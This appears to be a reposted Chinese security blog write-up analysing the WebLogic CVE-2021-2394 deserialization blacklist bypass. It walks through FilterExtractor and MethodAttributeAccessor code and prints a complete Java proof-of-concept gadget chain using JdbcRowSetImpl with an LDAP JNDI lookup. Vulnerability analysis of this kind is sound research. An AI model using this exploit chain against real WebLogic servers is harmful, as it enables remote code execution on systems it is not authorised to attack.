Weblogic cve-2021-2394分析

admin 2021年11月17日03:39:30评论145 views字数 3409阅读11分21秒阅读模式

记录学习过程

漏洞是cve-2020-14756和cve-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。


分析如下,绕过关键点在于FilterExtractor和SerializationHelper.readAttributeAccessor这个方法


Weblogic cve-2021-2394分析

首先FilterExtractor的readExternal调用了SerializationHelper.readAttributeAccessor,attributeAccessor属性是一个AttributeAccessor类型


readAttributeAccessor方法如下

    public static AttributeAccessor readAttributeAccessor(DataInput in) throws IOException {        int id = ExternalizableHelper.readInt(in);        if (id == 0) {            InstanceVariableAttributeAccessorExtended accessor = new InstanceVariableAttributeAccessorExtended();            accessor.setAttributeName((String)ExternalizableHelper.readObject(in));            return accessor;        } else if (id == 1) {            MethodAttributeAccessor accessor = new MethodAttributeAccessor();            accessor.setAttributeName((String)ExternalizableHelper.readObject(in));            accessor.setGetMethodName((String)ExternalizableHelper.readObject(in));            accessor.setSetMethodName((String)ExternalizableHelper.readObject(in));            return accessor;        } else {            return null;        }    }

可以看到当id为1时,会创建一个MethodAttributeAccessor对象,并设置其中的值 methodname attributename啥的


在FilterExtractor中同样实现了extract方法,这跟之前昨天CVE-2020-14756最后触发的一样,都是通过treemap来触发的

Weblogic cve-2021-2394分析

方法主要的内容是

this.getMethod != null || this.isReadOnly()) && (this.setMethod != null || this.isWriteOnly())


以上不为null,就调用initializeAttributes获取class中对应的方法

Weblogic cve-2021-2394分析


Weblogic cve-2021-2394分析

其实最终也是调用getDeclaredMethod,只是多封装了基层

Weblogic cve-2021-2394分析


获取完之后调上图箭头所指向的方法


Weblogic cve-2021-2394分析


执行方法了,poc如下

import com.sun.rowset.JdbcRowSetImpl;import com.tangosol.coherence.rest.util.extractor.MvelExtractor;import com.tangosol.coherence.servlet.AttributeHolder;import com.tangosol.util.SortedBag;import com.tangosol.util.aggregator.TopNAggregator;import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;
public class test2 {
public static void main(String[] args) throws Exception{
MethodAttributeAccessor MethodAttributeAccessor=new MethodAttributeAccessor(); MethodAttributeAccessor.setGetMethodName("prepare"); MethodAttributeAccessor.setSetMethodName("setPreparedStatement"); MethodAttributeAccessor.setIsWriteOnly(true); MethodAttributeAccessor.setAttributeName("test");
JdbcRowSetImpl jdbcRowSet=new JdbcRowSetImpl(); jdbcRowSet.setDataSourceName("ldap://127.0.0.1:8888/#wlc618");

FilterExtractor filterExtractor=new FilterExtractor(MethodAttributeAccessor);
MvelExtractor mvel_fake=new MvelExtractor();
SortedBag PartialResult=new TopNAggregator.PartialResult(mvel_fake,2);
PartialResult.add(jdbcRowSet);


AttributeHolder attr=new AttributeHolder(); Field m_oValue=attr.getClass().getDeclaredField("m_oValue"); m_oValue.setAccessible(true); m_oValue.set(attr,PartialResult);
Field m_comparator_copy=PartialResult.getClass().getDeclaredField("m_comparator_copy"); m_comparator_copy.setAccessible(true); m_comparator_copy.set(PartialResult,filterExtractor);
Field m_comparator=PartialResult.getClass().getSuperclass().getDeclaredField("m_comparator"); m_comparator.setAccessible(true); m_comparator.set(PartialResult,filterExtractor);





ByteArrayOutputStream byte_out=new ByteArrayOutputStream(); ObjectOutputStream obj_out=new ObjectOutputStream(byte_out);
obj_out.writeObject(attr);

ByteArrayInputStream byte_input=new ByteArrayInputStream(byte_out.toByteArray()); ObjectInputStream obj_input=new ObjectInputStream(byte_input);
obj_input.readObject();

}



}


//有个坑就是如果第一次add如果是add FilterExtractor,会直接触发执行,导致报错





本文始发于微信公众号(8ypass):Weblogic cve-2021-2394分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月17日03:39:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Weblogic cve-2021-2394分析http://cn-sec.com/archives/561105.html

发表评论

匿名网友 填写信息